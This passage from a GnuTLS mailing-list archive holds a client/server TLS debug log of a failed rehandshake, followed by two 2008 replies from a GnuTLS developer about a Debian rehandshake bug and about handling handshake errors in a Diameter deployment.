client |<4>| REC[0x11a0ed0]: Received Packet[4] Change Cipher Spec(20) with length: 1
client |<7>| READ: Got 1 bytes from 0x5
client |<7>| READ: read 1 bytes from 0x5
client |<7>| 0000 - 01 
client |<7>| RB: Have 5 bytes into buffer. Adding 1 bytes.
client |<7>| RB: Requested 6 bytes
client |<2>| ASSERT: gnutls_cipher.c:204
client |<4>| REC[0x11a0ed0]: ChangeCipherSpec Packet was received
client |<3>| HSK[0x11a0ed0]: Cipher Suite: DHE_RSA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Initializing internal [read] cipher sessions
server |<3>| HSK[0x11a3a20]: FINISHED was send [16 bytes]
server |<6>| BUF[HSK]: Peeked 0 bytes of Data
server |<6>| BUF[HSK]: Emptied buffer
server |<4>| REC[0x11a3a20]: Sending Packet[0] Handshake(22) with length: 16
server |<7>| WRITE: Will write 85 bytes to 0x5.
server |<7>| WRITE: wrote 85 bytes to 0x5. Left 0 bytes. Total 85 bytes.
server |<7>| 0000 - 16 03 02 00 50 8f 39 bc fe 37 6f 4c 5b fa ac 42 
server |<7>| 0001 - 7f 7c 95 90 b0 d4 76 42 9f 85 a2 75 eb 50 9c 50 
server |<7>| 0002 - 19 d7 4f aa 3e 47 5d d0 eb 92 82 18 e3 47 dc 03 
server |<7>| 0003 - 34 23 af a8 a0 ee 5d 28 94 24 7d a6 67 d8 7d eb 
server |<7>| 0004 - 20 87 0d ad 24 7a 88 c3 31 f7 45 9e 87 9c b8 45 
server |<7>| 0005 - 02 62 31 f9 ac 
server |<4>| REC[0x11a3a20]: Sent Packet[1] Handshake(22) with length: 85
server |<6>| BUF[HSK]: Cleared Data from buffer
client |<7>| READ: Got 5 bytes from 0x5
client |<7>| READ: read 5 bytes from 0x5
client |<7>| 0000 - 16 03 02 00 50 
client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
client |<7>| RB: Requested 5 bytes
client |<4>| REC[0x11a0ed0]: Expected Packet[0] Handshake(22) with length: 1
client |<4>| REC[0x11a0ed0]: Received Packet[0] Handshake(22) with length: 80
client |<7>| READ: Got 80 bytes from 0x5
client |<7>| READ: read 80 bytes from 0x5
client |<7>| 0000 - 8f 39 bc fe 37 6f 4c 5b fa ac 42 7f 7c 95 90 b0 
client |<7>| 0001 - d4 76 42 9f 85 a2 75 eb 50 9c 50 19 d7 4f aa 3e 
client |<7>| 0002 - 47 5d d0 eb 92 82 18 e3 47 dc 03 34 23 af a8 a0 
client |<7>| 0003 - ee 5d 28 94 24 7d a6 67 d8 7d eb 20 87 0d ad 24 
client |<7>| 0004 - 7a 88 c3 31 f7 45 9e 87 9c b8 45 02 62 31 f9 ac 
client |<7>| 0005 - 
client |<7>| RB: Have 5 bytes into buffer. Adding 80 bytes.
client |<7>| RB: Requested 85 bytes
client |<4>| REC[0x11a0ed0]: Decrypted Packet[0] Handshake(22) with length: 16
client |<6>| BUF[HSK]: Inserted 16 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 1 bytes of Data(22)
client |<6>| BUF[REC][HD]: Read 3 bytes of Data(22)
client |<3>| HSK[0x11a0ed0]: FINISHED was received [16 bytes]
client |<6>| BUF[REC][HD]: Read 12 bytes of Data(22)
client |<6>| BUF[HSK]: Peeked 0 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<6>| BUF[HSK]: Inserted 4 bytes of Data
client |<6>| BUF[HSK]: Inserted 12 bytes of Data
client |<6>| BUF[HSK]: Cleared Data from buffer
client |<4>| REC[0x11a0ed0]: Sending Packet[1] Application Data(23) with length: 9
client |<7>| WRITE: Will write 85 bytes to 0x5.
client |<7>| WRITE: wrote 85 bytes to 0x5. Left 0 bytes. Total 85 bytes.
server |<7>| READ: Got 5 bytes from 0x5
server |<7>| READ: read 5 bytes from 0x5
server |<7>| 0000 - 17 03 02 00 50 
server |<7>| RB: Haveclient |<7>| 0002 - 3b ac fd 6b fd 0a f3 50 dc fa 5a 68 f8 b2 be b3 
client |<7>| 0003 - 16 dc 5e 79 16 48 a9 78 8e 99 d5 2f 00 5c 9e 78 
client |<7>| 0004 - e5 a5 3e 6d 24 6b 04 55 75 d2 41 d5 80 64 1c 49 
client |<7>| 0005 - d2 38 b2 2f 7f 
client |<4>| REC[0x11a0ed0]: Sent Packet[2] Application Data(23) with length: 85
client |<7>| READ: Got 5 bytes from 0x5
client |<7>| READ: read 5 bytes from 0x5
client |<7>| 0000 - 16 03 02 00 70 
client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
client |<7>| RB: Requested 5 bytes
client |<4>| REC[0x11a0ed0]: Expected Packet[1] Application Data(23) with length: 1024
client |<4>| REC[0x11a0ed0]: Received Packet[1] Handshake(22) with length: 112
client |<7>| READ: Got 112 bytes from 0x5
client |<7>| READ: read 112 bytes from 0x5
client |<7>| 0000 - 57 86 69 e7 ca 7f 9d 3b 24 99 e4 52 7c ed c3 47 
client |<7>| 0001 - 0c dd db d8 25 43 a7 cd 60 14 93 aa 4c f5 46 81 
client |<7>| 0002 - 54 76 c1 a3 07 b4 98 08 4e 81 45 42 6f 35 66 51 
client |<7>| 0003 - 1b ab 03 9c 6c 1b 57 0f 8c 92 1e 37 fa 54 7f 71 
client |<7>| 0004 - b1 ac 00 ff 7b 73 59 f1 e8 34 28 99 ef 38 a6 5e 
client |<7>| 0005 - 7f 0e ed 2f 91 1d 39 64 8d 81 b7 97 99 38 01 d2 
client |<7>| 0006 - 4b c7 1a 1f a0 47 c1 f4 ff 4e 7d 86 bf 77 48 97 
client |<7>| 0007 - 
client |<7>| RB: Have 5 bytes into buffer. Adding 112 bytes.
client |<7>| RB: Requested 117 bytes
client |<4>| REC[0x11a0ed0]: Decrypted Packet[1] Handshake(22) with length: 4
client |<2>| ASSERT: gnutls_record.c:1048
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_RSA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: DHE_DSS_ARCFOUR_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: DHE_PSK_SHA_ARCFOUR_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_RSA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_DSS_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_ARCFOUR_SHA1
client |<3>| HSK[0x11a0ed0]: Keeping ciphersuite: RSA_ARCFOUR_MD5
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_3DES_EDE_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: PSK_SHA_ARCFOUR_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_AES_128_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_AES_256_CBC_SHA1
client |<3>| HSK[0x11a0ed0]: Removing ciphersuite: SRP_SHA_3DES_EDE_CBC_SHA1
client |<2>| EXT[0x11a0ed0]: Sending extension CERT_TYPE
client |<3>| HSK[0x11a0ed0]: CLIENT HELLO was send [76 bytes]
client |<6>| BUF[HSK]: Peeked 0 bytes of Data
client |<6>| BUF[HSK]: Emptied buffer
client |<4>| REC[0x11a0ed0]: Sending Packet[2] Handshake(22) with length: 76
client |<7>| WRITE: Will write 261 bytes to 0x5.
client |<7>| WRITE: wrote 261 bytes to 0x5. Left 0 bytes. Total 261 bytes.
client |<7>| 0000 - 16 03 02 01 00 cb 67 f2 aa 40 3b 80 d1 f5 11 da 
client |<7>| 0001 - 00 f4 b4 36 f9 f9 ac fb 12 53 79 84 1c b3 05 17 
client |<7>| 0002 - 4b b4 cd 56 c3 3e 13 c2 63 f6 36 54 0f c2 86 74 
client |<7>| 0003 - 05 1d a3 4a 1f bb 14 0f 32 da c2 f5 a1 2e 2f d3 
client |<7>| 0004 - 8c f6 18 08 7e 51 69 82 ef 9f 4d a4 a8 f0 79 83 
client |<7>| 0005 - 1d 6e 4d 6d 0a e6 16 e7 e3 5a 05 77 ae 95 d2 af 
client |<7>| 0006 - 04 a3 1f 4e 30 a3 11 a0 e2 ea 47 01 e4 32 ba e9 
client |<7>| 0007 - d5 0b f5 8c 1a 56 e3 04 62 2f 66 c1 e2 71 e5 14 
client |<7>| 0008 - 0b 33 5c 9f 33 24 ba 33 be e1 46 c2 2f 62 12 7d 
client |<7>| 0009 - 69 ee 97 73 57 c3 60 a8 1d bc d9 b4 d8 d3 17 94 
client |<7>| 000a - ea 22 4b 57 0d a7 54 9b de 06 be 65 99 23 e6 11 
client |<7>| 000b - 78 a2 7f c8 ef 80 82 c8 0d 00 39 8f bb e1 ab 9f 
client |<7>| 000c - 18 58 36 0f de 70 d1 85 c9 6b f0 0d e7 7d 64 90 
client |<7>| 000d - 2c 52 48 f9 17 58 67 c9 83 0f 9c c5 3c d0 45 24 
client |<7>| 000e - 7b 13 0a 44 39 81 94 30 59 08 92 a0 1c 60 52 a3 
client |<7>| 000f - e3 8f 56 c0 48 ea d4 d0 d7 86 22 e9 5c 47 2c ca 
client |<7>| 0010 - 47 6c a3 d3 c3 
client |<4>| REC[0x11a0ed0]: Sent Packet[3] Handshake(22) with length: 261
server |<7>| READ: Got 5 bytes from 0x5
server |<7>| READ: read 5 bytes from 0x5
server |<7>| 0000 - 16 03 02 01 00 
server |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
server |<7>| RB: Requested 5 bytes
server |<4>| REC[0x11a3a20]: Expected Packet[2] Application Data(23) with length: 1024
server |<4>| REC[0x11a3a20]: Received Packet[2] Handshake(22) with length: 256
server |<7>| READ: Got 256 bytes from 0x5
server |<7>| READ: read 256 bytes from 0x5
server |<7>| 0000 - cb 67 f2 aa 40 3b 80 d1 f5 11 da 00 f4 b4 36 f9 
server |<7>| 0001 - f9 ac fb 12 53 79 84 1c b3 05 17 4b b4 cd 56 c3 
server |<7>| 0002 - 3e 13 c2 63 f6 36 54 0f c2 86 74 05 1d a3 4a 1f 
server |<7>| 0003 - bb 14 0f 32 da c2 f5 a1 2e 2f d3 8c f6 18 08 7e 
server |<7>| 0004 - 51 69 82 ef 9f 4d a4 a8 f0 79 83 1d 6e 4d 6d 0a 
server |<7>| 0005 - e6 16 e7 e3 5a 05 77 ae 95 d2 af 04 a3 1f 4e 30 
server |<7>| 0006 - a3 11 a0 e2 ea 47 01 e4 32 ba e9 d5 0b f5 8c 1a 
server |<7>| 0007 - 56 e3 04 62 2f 66 c1 e2 71 e5 14 0b 33 5c 9f 33 
server |<7>| 0008 - 24 ba 33 be e1 46 c2 2f 62 12 7d 69 ee 97 73 57 
server |<7>| 0009 - c3 60 a8 1d bc d9 b4 d8 d3 17 94 ea 22 4b 57 0d 
server |<7>| 000a - a7 54 9b de 06 be 65 99 23 e6 11 78 a2 7f c8 ef 
server |<7>| 000b - 80 82 c8 0d 00 39 8f bb e1 ab 9f 18 58 36 0f de 
server |<7>| 000c - 70 d1 85 c9 6b f0 0d e7 7d 64 90 2c 52 48 f9 17 
server |<7>| 000d - 58 67 c9 83 0f 9c c5 3c d0 45 24 7b 13 0a 44 39 
server |<7>| 000e - 81 94 30 59 08 92 a0 1c 60 52 a3 e3 8f 56 c0 48 
server |<7>| 000f - ea d4 d0 d7 86 22 e9 5c 47 2c ca 47 6c a3 d3 c3 
server |<7>| 0010 - 
server |<7>| RB: Have 5 bytes into buffer. Adding 256 bytes.
server |<7>| RB: Requested 261 bytes
server |<4>| REC[0x11a3a20]: Decrypted Packet[2] Handshake(22) with length: 76
server |<2>| ASSERT: gnutls_record.c:746
server |<2>| ASSERT: gnutls_record.c:1048
server: Received corrupted data(-37). Closing...
server |<4>| REC: Sending Alert[1|0] - Close notify
server |<4>| REC[0x11a3a20]: Sending Packet[3] Alert(21) with length: 2
server |<7>| WRITE: Will write 69 bytes to 0x5.
server |<7>| WRITE: wrote 69 bytes to 0x5. Left 0 bytes. Total 69 bytes.
server |<7>| 0000 - 15 03 02 00 40 8a 02 8d 6b d7 ec 7b f7 6d 9c 54 
server |<7>| 0001 - 6c 84 c5 56 eb 91 b9 e7 92 b5 54 97 e1 45 3d 74 
server |<7>| 0002 - 11 f5 7a 89 76 2b 97 c9 da 88 02 a2 9e 63 3e 76 
server |<7>| 0003 - 5d cf 04 0d d9 b2 6c b7 73 d5 9c f1 61 b1 a3 f7 
server |<7>| 0004 - d6 43 44 f0 25 
server |<4>| REC[0x11a3a20]: Sent Packet[4] Alert(21) with length: 69
client |<7>| READ: Got 5 bytes from 0x5
client |<7>| READ: read 5 bytes from 0x5
client |<7>| 0000 - 17 03 02 00 f0 
client |<7>| RB: Have 0 bytes into buffer. Adding 5 bytes.
client |<7>| RB: Requested 5 bytes
client |<4>| REC[0x11a0ed0]: Expected Packet[2] Handshake(22) with length: 1
client |<4>| REC[0x11a0ed0]: Received Packet[2] Application Data(23) with length: 240
client |<7>| READ: Got 239 bytes from 0x5
client |<7>| READ: read 239 bytes from 0x5
client |<7>| 0000 - 75 1e e5 8f 3e ce d1 13 fa 2e 74 4f ce e0 a2 f7 
client |<7>| 0001 - e3 03 d2 0b 11 c8 ae ba d0 0b c6 18 a5 75 38 b5 
client |<7>| 0002 - 80 26 fc 78 0d b2 84 cf 32 50 67 45 39 fe 82 e2 
client |<7>| 0003 - 48 72 2c 8e 53 51 5b 17 40 7d 5e 96 4c 1f 5b 81 
client |<7>| 0004 - cc 9c 60 9c f0 4d df 93 e0 36 fd e1 74 cb dc b3 
client |<7>| 0005 - b9 dd a5 e8 6b 6d 54 58 fb ba c4 cc 7c 15 4d 3f 
client |<7>| 0006 - 0a 63 6a 04 c2 18 ec a3 5e 9f 7c 8a d1 3c 20 ee 
client |<7>| 0007 - 48 16 e0 15 95 00 66 30 ab 15 71 ed 04 44 09 3a 
client |<7>| 0008 - d7 d5 05 30 04 d5 c0 56 d5 f9 5a 48 bc de 1a cc 
client |<7>| 0009 - 50 5f e2 6d 7f 9e a9 5e cd ba a5 ca e4 fe d9 77 
client |<7>| 000a - ac be 19 5f c8 d0 6a 35 12 62 46 3f 31 50 dd 13 
client |<7>| 000b - 17 71 a0 44 3e dc 7f fc 7b ae 5c 11 43 44 9e 1e 
client |<7>| 000c - 7b f6 3f 72 31 cf a4 2a 91 09 45 a2 92 08 ae 2e 
client |<7>| 000d - ee 02 1b 12 0e 7e 9b 68 b9 a9 c4 67 63 aa f1 df 
client |<7>| 000e - f7 87 dd 0a 08 7f 4a ad 1a ca 78 c7 72 b9 e6 
client |<7>| RB: Have 5 bytes into buffer. Adding 239 bytes.
client |<7>| RB: Requested 245 bytes
client |<7>| READ: Got 1 bytes from 0x5
client |<7>| READ: read 1 bytes from 0x5
client |<7>| 0000 - 7e 
client |<7>| RB-PEEK: Read 1 bytes in PEEK MODE.
client |<7>| RB-PEEK: Have 244 bytes into buffer. Adding 1 bytes.
RB: Requested 245 bytes
client |<4>| REC[0x11a0ed0]: Decrypted Packet[2] Application Data(23) with length: 9
client |<6>| BUF[REC]: Inserted 9 bytes of Data(23)
client |<2>| ASSERT: gnutls_record.c:735
client |<2>| ASSERT: gnutls_record.c:1048
client |<2>| ASSERT: gnutls_buffers.c:1030
client |<2>| ASSERT: gnutls_handshake.c:1045
client |<2>| ASSERT: gnutls_handshake.c:2346
client |<6>| BUF[HSK]: Cleared Data from buffer
client: handshake failed.
client: Error: An unexpected TLS packet was received.

From nmav at gnutls.org  Sat Nov 29 09:02:35 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Sat, 29 Nov 2008 10:02:35 +0200
Subject: Bug#480041: confirmation that debian #480041 is a gnutls
 problem, and steps to reproduce
In-Reply-To: <20081128144722.GA5407@manyfish.co.uk>
References: <87od0aymi1.fsf@squeak.fifthhorseman.net>
	<49266212.6030004@gnutls.org>
	<20081121082944.GA22857@manyfish.co.uk>
	<c331d99a0811210503n575f5cd1ie55c69e3be618894@mail.gmail.com>
	<20081121132040.GA25245@manyfish.co.uk>
	<87zljss3zq.fsf@squeak.fifthhorseman.net>
	<20081122080503.GA15594@manyfish.co.uk>
	<87bpw7pp58.fsf@squeak.fifthhorseman.net>
	<20081122221300.GA20323@manyfish.co.uk>
	<49290E02.1080302@gnutls.org>
	<20081128144722.GA5407@manyfish.co.uk>
Message-ID: <4930F71B.5020608@gnutls.org>

Joe Orton wrote:
> I've tried this using a git build of GnuTLS, gnutls-cli and a test 
> httpd/mod_ssl server configured for per-location client cert auth (i.e. 
> it requests a second handshake after the GET request is recevied), and 
> it does fail, so I think this is indeed a GnuTLS bug in the handling of 
> rehandshakes.

Hello Joe,
 I the test case was not correct. The call (from server) to
gnutls_rehandshake will only notify the client about a rehandshake.
After that a call to gnutls_handshake is required. Once I do this the
test case works correctly (i've also committed it).

To debug (1 - gnutls-cli log output from testing using httpd/mod_ssl)
you might need some output from mod_ssl as well. There the server
notifies the client about a rehandshake, the client starts the handshake
by sending client hello and the server replies with an alert.

regards,
Nikos




From nmav at gnutls.org  Sat Nov 29 09:22:17 2008
From: nmav at gnutls.org (Nikos Mavrogiannopoulos)
Date: Sat, 29 Nov 2008 10:22:17 +0200
Subject: TLS handshake problems
In-Reply-To: <AA36638116CFFD448AEC78EABECF63EC92A3A1@SRVMAIL01.lhs-systems.com>
References: <AA36638116CFFD448AEC78EABECF63EC92A3A1@SRVMAIL01.lhs-systems.com>
Message-ID: <4930FBB9.5010602@gnutls.org>

Metzler, Richard wrote:
> Hello,
> 
> currently I am testing a TLS connection using Gnu TLS 2.2.5.on server
> and client side. For the TCP communication Diameter is used.
> 
> There are situations that on both sides the TLS handshake fails, e.g.
> due to a wrong client certificate (Gnu TLS error code
> NO_CERTIFICATE_FOUND). But in this special case the server finishes the
> handshake with error and the client is still waiting in the handshake.
> Now the server announces closing the connection to the client by sending
> the Diameter disconnect message (DPR). This message is received by the
> client Gnu TLS when expecting a TLS message, preventing a correct shut
> down of the connection.
> To avoid this problem I added a call to gnutls_alert_send_appropriate in
> case the server finishes the handshake with errors. This helps to finish
> the handshake on the client side in this case, but there are situations
> when the handshake is finished on both sides with an error. Then the
> additional alert message would be interpreted on the client side as
> Diameter message which also is not correct.
> My question is, is there a way for the server to decide whether the
> alert has to be sent or not, i.e. to detect the state of the client -
> maybe by evaluating the result code of the handshake?

No. If the connection fails for some reason you should not try to reuse it.


regards,
Nikos